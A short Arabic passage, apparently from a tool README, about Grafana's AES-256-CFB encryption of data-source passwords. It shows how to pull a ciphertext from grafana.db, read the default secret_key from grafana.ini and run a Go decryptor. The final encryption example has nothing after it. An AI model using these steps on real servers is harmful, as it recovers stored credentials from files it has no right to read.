تقوم مصادر البيانات بتخزين كلمات المرور وكلمات مرور المصادقة الأساسية في secureJsonData مشفرة (AES-256 في وضع CFB) افتراضيًا. ستستمر مصادر البيانات الحالية في العمل بكلمات مرور غير مشفرة. إذا كنت تريد الترحيل إلى التخزين المشفر لمصادر البيانات الحالية، يمكنك القيام بذلك عن طريق:
https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go
مثال: احصل على النص المشفر لمصدر البيانات R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== من قاعدة البيانات /var/lib/grafana/grafana.db، ثم قم بفك تشفيره عن طريق قراءة secret_key (الافتراضي: SW2YcwTIb9zpOOhoPsMm) من /etc/grafana/grafana.ini.
$ go run AESDecrypt.go

[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

مثال: قم بتشفير كلمة المرور النصية jas502n إلى نص مشفر باستخدام المفتاح.
